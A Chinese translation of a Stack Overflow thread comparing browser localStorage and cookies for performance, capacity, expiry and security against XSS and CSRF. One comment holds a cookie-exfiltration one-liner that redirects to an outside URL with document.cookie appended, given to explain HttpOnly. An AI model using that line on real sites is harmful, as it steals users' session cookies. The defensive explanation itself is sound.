本地存储与Cookies的区别

1461

我想通过将所有cookie移到本地存储中来减少网站的加载时间,因为它们似乎具有相同的功能。除了明显的兼容性问题外,使用本地存储替代cookie功能是否存在任何优缺点(特别是性能方面)?

我希望通过在本地存储中存储cookie来减少我的网站加载时间,本地存储似乎具有相同的功能。除了明显的兼容性问题外,使用本地存储替代cookie功能是否存在任何优缺点(特别是性能方面)?请注意保留HTML标记。

171
可能的缺陷:在安全(SSL)页面上,localStorge值是隔离的。因此,如果您的网站既有http页面又有https页面,则在访问https页面时无法访问在http页面上设置的值。刚试了一下在Magento商店中使用localStorage来创建ajax小购物车,结果大失败... - user2369687
11
出乎意料地得到了很好的支持(与我所预期的相比),http://caniuse.com/#search=localstorage - Simon_Weaver
8
有些用户通常在其浏览器中禁用了cookie。对于这些用户来说,本地存储可能更加有效。 - evolross
49
可能的缺陷:在安全(SSL)页面上,[本地存储] 值是被隔离的。事实上,这正是一个很大的优点。 - curiousguy
71
因此,您应该在网站上强制使用SSL......如果您已经有SSL版本可用,我看不出为什么要同时提供两个页面版本。 - xji
显示剩余2条评论
9个回答

1794

Cookie 和本地存储有着不同的用途。Cookie 主要用于服务器端读取,本地存储只能由客户端读取。因此问题是,在您的应用程序中,谁需要这些数据 —— 客户端还是服务器?

如果是您的客户端(即 JavaScript),那么请转换到本地存储。通过在每个 HTTP 标头中发送所有数据,您正在浪费带宽。

如果是您的服务器,则本地存储并不是很有用,因为您必须以某种方式将数据转发(使用 Ajax 或隐藏表单字段或其他方式)。如果服务器每个请求只需要总数据的一小部分,那么这可能还可以接受。

无论如何,您都需要将会话 cookie 保留为 cookie。

根据技术差异和我的理解:

  1. 除了作为保存数据的旧方法之外,Cookie 还有一个4096字节(实际上是 4095)的限制 —— 每个 Cookie 都是如此。本地存储大小为每个域名10MB —— 这个 Stack Overflow 的问题也提到了这一点。

  2. localStorageStorage 接口的一种实现。它存储没有到期日的数据,并且只能通过 JavaScript 或清除浏览器缓存/本地存储的数据才能被清除 —— 不像 Cookie 有过期时间。


56
HTML5拥有会话级别的存储功能,可以用作会话cookie的替代方案。 - Pat Niemeyer
6
@PatNiemeyer,您可以将sessionStorage视为一个具有过期时间直到浏览器关闭的Cookie(而不是标签页)。@darkporter,谢谢您的回答。但是,请告诉我Cookies和Local Storage之间的技术区别。期待您的编辑。 - Om Shankar
42
@OmShankar 我不确定你是否仍然有这个疑问,但这是区别:localStorage 保留在客户端,而cookies则随HTTP标头发送。这是它们之间最大的(但不是唯一的)区别。 - Andre Calil
21
如果你的客户端应用程序与REST API交互,那么使用cookie来存储和传输会话ID在REST中不是惯用的方式。因此,在我看来,cookie看起来像是一种旧技术,可能应该用本地存储替换(+如果需要向服务器传递某些数据,例如会话ID,则使用JavaScript)。 - Tvaroh
14
本地存储并不一定比cookie更安全,因为它容易受到XSS攻击。个人建议选择加密的HTTPS cookie(可以使用JWT或JWE),并制定仔细考虑过的过期方案。即实现一个cookie级别的“策略”来控制过期时间,并且在服务器端执行cookie“更新”过程,以减少恶意第三方使用cookie的机会。下面是引用Stormpath文章部分内容的解释。 - XtraSimplicity
显示剩余14条评论

368
在JWT的背景下,Stormpath撰写了一篇非常有帮助的文章,概述了存储JWT的可能方式以及与每种方法相关的优点和缺点。
它还简要概述了XSS和CSRF攻击,以及如何对抗它们。
我附上了文章的一些简短片段,以防止他们的文章被下架或网站被关闭。
本地存储
问题:
Web Storage(localStorage/sessionStorage)可以通过同一域上的JavaScript进行访问。这意味着在您的网站上运行的任何JavaScript都将可以访问Web存储,并因此容易受到跨站脚本(XSS)攻击的影响。 XSS是一种漏洞类型,在其中攻击者可以注入JavaScript代码,该代码将在您的页面上运行。基本的XSS攻击尝试通过表单输入注入JavaScript,攻击者将alert('You are Hacked');放入表单中,以查看它是否由浏览器运行并可被其他用户查看。
预防措施:
为了防止XSS攻击,常见的做法是对所有不可信数据进行转义和编码。但这远远不能完全解决问题。在现代Web应用程序中,JavaScript通常托管于CDN或其他基础设施之外。现代Web应用程序包括第三方JavaScript库,用于A/B测试、漏斗/市场分析和广告。我们使用像Bower这样的软件包管理器将其他人的代码导入到我们的应用程序中。
如果您使用的脚本中只有一个被攻击,会怎么样?恶意JavaScript可以嵌入页面,Web Storage会受到攻击。这些类型的XSS攻击可以获取访问您网站的每个人的Web Storage,而他们可能毫不知情。这可能就是为什么一些组织建议不要在Web Storage中存储任何有价值的内容或信任任何信息。这包括会话标识符和令牌。
作为一种存储机制,Web Storage在传输过程中不强制执行任何安全标准。读取Web Storage并使用它的人必须尽职调查,确保他们始终通过HTTPS发送JWT而不是HTTP。

Cookies

问题:

当使用HttpOnly cookie标志时,Cookie不可通过JavaScript访问,并且免疫XSS。您还可以设置Secure cookie标志以确保仅通过HTTPS发送Cookie。这是过去利用Cookie存储令牌或会话数据的主要原因之一。现代开发人员不愿使用Cookie,因为它们传统上需要在服务器上存储状态,从而破坏了RESTful最佳实践。如果在Cookie中存储JWT,则作为存储机制的Cookie不需要在服务器上存储状态。这是因为JWT封装了服务器提供请求所需的所有内容。
但是,Cookie容易受到不同类型的攻击:跨站点请求伪造(CSRF)。 CSRF攻击是一种攻击类型,当恶意网站、电子邮件或博客导致用户的Web浏览器在用户当前已验证的受信任站点上执行不需要的操作时,就会发生这种攻击。这是对浏览器处理Cookie的利用。Cookie只能发送到允许的域名。默认情况下,这是最初设置Cookie的域。无论您是否在galaxies.com或hahagonnahackyou.com上,Cookie都将发送请求。 预防措施:

Modern browsers support the SameSite flag, in addition to HttpOnly and Secure. The purpose of this flag is to prevent the cookie from being transmitted in cross-site requests, preventing many kinds of CSRF attack.

For browsers that do not support SameSite, CSRF can be prevented by using synchronized token patterns. This sounds complicated, but all modern web frameworks have support for this.

For example, AngularJS has a solution to validate that the cookie is accessible by only your domain. Straight from AngularJS docs:

When performing XHR requests, the $http service reads a token from a cookie (by default, XSRF-TOKEN) and sets it as an HTTP header (X-XSRF-TOKEN). Since only JavaScript that runs on your domain can read the cookie, your server can be assured that the XHR came from JavaScript running on your domain. You can make this CSRF protection stateless by including a xsrfToken JWT claim:

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "tom@andromeda.com",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

Leveraging your web app framework’s CSRF protection makes cookies rock solid for storing a JWT. CSRF can also be partially prevented by checking the HTTP Referer and Origin header from your API. CSRF attacks will have Referer and Origin headers that are unrelated to your application.

完整的文章可以在这里找到: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/ 他们还有一篇有用的文章,关于如何最好地设计和实现JWT,涉及到令牌本身的结构: https://stormpath.com/blog/jwt-the-right-way/

9
很好的观点。令人惊讶的是,在这样一个广为阅读的问题中,本地存储(或缺乏XSS)的安全性影响还没有被提到过,除了一个错误的答案,我认为它更安全! - Barry Pollard
57
说实话,我觉得整个安全性讨论有点分散注意力。是的,localStorage可以被页面上的其他脚本访问...但XMLHttpRequest也是如此...而且,确实,HttpOnly标记可以防止cookie被盗用,但浏览器仍会自动将其发送到匹配的域名,所以...基本上,当您的页面上运行恶意脚本时,您已经被黑客攻击了。 - Stijn de Witt
5
每个保护层都有其独特的优点和不足,因此通常最好采用多层保护。举个例子:HttpOnly还可以防止非Ajax攻击,例如 window.location = 'http://google.com?q=' + escape(document.cookie); 这种攻击方式可以绕过浏览器的CORS检查。 - Memet Olsen
3
如果网站存在 XSS 漏洞,则使用 cookie 作为存储介质将无法防止 CSRF 攻击。根据 OWASP 的说法,"任何跨站点脚本漏洞都可以用来打败市场上现有的所有 CSRF 缓解技术"。链接:https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.md#warning-no-cross-site-scripting-xss-vulnerabilities - Imtiaz Shakil Siddique
JavaScript XSS与仅在任何网站上打开开发人员控制台并输入命令到控制台有何不同? - Joseph Kreifels II
2
@JosephKreifelsII 不是这样的。但是当你这样做时,你知道你正在这样做。XSS是在没有用户的知识、同意和/或理解的情况下自动化这个过程。欺骗某人输入东西到控制台被称为自我XSS。 - David Wheatley

133

使用 localStorage,Web 应用程序可以在用户的浏览器内部本地存储数据。在 HTML5 之前,应用程序数据必须存储在每个服务器请求中包含的 Cookie 中。大量数据可以本地存储,而不会影响网站性能。尽管 localStorage 更加现代化,但两种技术都有一些利弊。

Cookies

优点

  • 遗留支持(已存在很久)
  • 持久数据
  • 过期日期
  • Cookie 可以标记为 HTTPOnly,这可能限制 XSS 攻击到用户浏览器期间的攻击(不能保证完全免疫 XSS 攻击)。

缺点

  • 每个域将其所有 Cookie 存储在单个字符串中,这可能使解析数据变得困难
  • 数据未加密,这是一个问题,因为...虽然大小很小,但 Cookie 会随着每个 HTTP 请求发送,有限的大小(4KB)

本地存储

优点

  • 被大多数现代浏览器支持
  • 直接存储在浏览器中的持久数据
  • 同源规则适用于本地存储数据
  • 不随每个 HTTP 请求发送
  • 每个域可存储约 5MB 的内容(即 5120KB)

缺点

  • 在 IE 8、Firefox 3.5、Safari 4、Chrome 4、Opera 10.5、iOS 2.0 和 Android 2.0 之前,不受支持
  • 如果服务器需要存储的客户端信息,则必须故意将其发送。

localStorage 的使用与会话相似。它们几乎具有相同的方法,因此从会话切换到 localStorage 简直就是小菜一碟。但是,如果存储的数据对您的应用程序非常关键,您可能会使用 Cookie 作为备份以防 localStorage 不可用。如果要检查浏览器是否支持 localStorage,只需运行此简单的脚本:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

“在安全(SSL)页面上,localStorage的值是隔离的”。需要注意的是,如果您从“http”切换到“https”保护协议,则localStorage将不可用,而cookie仍然可以访问。如果您使用安全协议工作,则这一点非常重要。


1
你正在进行的检查并不是非常可靠的。有些浏览器和模式(如隐私模式)具有Storage对象,但实际上无法在其上设置值。检查实际支持的唯一方法是尝试在其上进行set remove操作并使用try catch语句。 - JavaScript
12
因为“SQL注入可以被执行”被列为cookie的缺点,您是否意味着它无法从localStorage执行?(原文已翻译) - Martin Schneider
Cookies的另一个优点是可以标记为HTTPOnly。这意味着它们无法从JavaScript中访问,这反过来又意味着没有恶意的XSS攻击可以检索cookie内容。 因此,我不会说本地存储比cookies更安全。 - hostingutilities.com
1
@Mr.Me 虽然 XSS 攻击无法读取 HTTPOnly cookie,但攻击者仍可以执行用户可以执行的任何 HTTP 请求(根据定义),仅受浏览器会话限制。假设会话 cookie 是一个不透明标识符,几乎所有会话 cookie 都是如此,那么读取 cookie 值只有在执行包含它的 HTTP 请求时才有用:你不能仅通过 cookie 值了解任何信息。(请注意,会话 cookie 有时可能与特定的源 IP 地址、用户代理标头或其他浏览器特征相关联;XSS 攻击从浏览器执行 HTTP 请求,因此这些匹配。) - curiousguy
HTTPOnly标志仍然对攻击施加了限制:攻击只能在浏览器会话期间发生:当用户关闭浏览器时,攻击就结束了。涉及读取非HTTPOnly cookie的攻击可以执行直到会话cookie标识符过期(由服务器确定),有时可能会持续数月,因此HTTPOnly仍然限制攻击。因此,HTTPOnly是一个有用的安全功能,但是假设HTTPOnly使XSS成为次要问题是非常危险的 - curiousguy
localstorage is more secure. Can you comment on why some reputable opinions say the opposite?: Stormpath recommends that you store your JWT in cookies for web applications, because of the additional security they provide - ecoe

46

Cookies(Cookie)

  1. 在HTML5出现之前就有了。
  2. 拥有过期日期。
  3. 可以被JS清除,也可以通过浏览器的“清除浏览数据”功能或到期后自动清除。
  4. 每次请求都会发送到服务器。
  5. 容量为4KB。
  6. 只能存储字符串。
  7. 有两种类型:持久性和会话(session)。

本地存储(Local Storage):

  1. 在HTML5中引入。
  2. 没有过期日期。
  3. 可以通过JS或浏览器的“清除浏览数据”功能进行清除。
  4. 可以选择何时将数据发送到服务器。
  5. 容量为5MB。
  6. 数据可以无限期存储,但必须是字符串。
  7. 只有一种类型。

3
  1. localStorage只能存储字符串,原始值和对象在存储前必须转换为字符串。
  2. sessionStorage也可用,与localStorage相同,但不会持久化。
- Robbie Milejczak

28

主要区别:

容量:

  • 本地存储(Local Storage): 10MB
  • Cookie: 4kb

浏览器支持:

  • 本地存储(Local Storage): HTML5
  • Cookie: HTML4, HTML5

存储位置:

  • 本地存储(Local Storage): 只在浏览器中
  • Cookie: 在浏览器和服务器中都有

发送请求时是否发送:

  • 本地存储(Local Storage): 不会发送
  • Cookie: 会发送

访问位置:

  • 本地存储(Local Storage): 可以在任何窗口中访问
  • Cookie: 可以在任何窗口中访问

到期日期:

  • 本地存储(Local Storage): 永不过期,直到JavaScript删除
  • Cookie: 有到期时间

注意: 使用适合自己的存储方式。


1
我猜“Send with request”被搞混了,是吗? - insertusernamehere

20

值得一提的是,在某些版本的移动Safari中使用“隐私”模式浏览时,localStorage 无法使用。

引用自2018年 MDN的Window.localStorage主题 的WayBack存档:

注意:从iOS 5.1开始,Safari Mobile将localStorage数据存储在缓存文件夹中,这个文件夹可能会偶尔被操作系统清理,如当空间不足时。同时,Safari Mobile的隐私浏览模式也完全禁止写入localStorage


15

Cookie:

  • JavaScript可以访问Cookie,因此XSS攻击(跨站脚本攻击)可能会窃取Cookie数据,但是将HttpOnly标志设置到Cookie中可以防止JavaScript访问Cookie数据,从而保护Cookie数据不受XSS攻击

  • Cookie易受CSRF(跨站请求伪造)攻击,但将SameSite标志与Lax一起设置到Cookie中可以减轻CSRF,并将SameSite标志与Strict一起设置到Cookie中可以防止CSRF

  • 必须有过期日期,因此当过期日期到期时,Cookie会自动删除,即使您忘记删除Cookie,也会因为过期日期而自动删除Cookie

  • Cookie的常见大小约为4KB(具体取决于浏览器)。

本地存储:

  • JavaScript可以访问本地存储,因此XSS攻击(跨站脚本攻击)可能会窃取本地存储数据,目前我所研究的结果是没有简单的方法可以防止XSS攻击

  • 不容易受到跨站请求伪造(CSRF)的攻击。

  • 本地存储数据没有过期日期,如果你忘记删除它,它可以永久留存在本地。

  • 大小通常为5MB左右(取决于浏览器)。

  • 我建议使用Cookie来存储敏感数据,使用本地存储来存储非敏感数据


    12

    本地存储可以离线存储高达5MB的数据,而会话存储也可以存储高达5MB的数据。但是cookie只能以文本格式存储4KB的数据。

    本地和会话存储的数据是以JSON格式存储的,因此易于解析。但cookie的数据是以字符串格式存储的。


    2
    Json格式也可以存储为字符串。 - Michael Freidgeim

    12

    本地存储的速度很大程度上取决于客户端使用的浏览器,以及操作系统。在Mac上,Chrome或Safari可能比PC上的Firefox快得多,特别是使用新的API时。然而,像往常一样,测试是您最好的朋友(我找不到任何基准测试)。

    我真的看不出cookie和本地存储之间有很大的区别。此外,您应该更担心兼容性问题:并非所有浏览器都开始支持新的HTML5 API,因此cookie是速度和兼容性最好的选择。


    2
    这只是一个内部项目,所以像跨浏览器兼容性这样的事情并不是必需的。因为每个 HTTP 请求都会发送 cookie(我的应用程序有大约 77 个请求),这意味着额外的 ~500kB 开销。我知道显而易见的解决方案是使用 CDN,但我想尝试一些不依赖服务器的东西。我自己找不到任何基准测试,所以我希望这里的某个人可能知道。 - Gio Borje
    19
    为什么Chrome或Safari在Mac上更快?无论是在Mac、Linux还是Windows,它们运行的基本都是相同的浏览器代码。 - Mark K Cowan

    网页内容由stack overflow 提供, 点击上面的
    可以查看英文原文,
    原文链接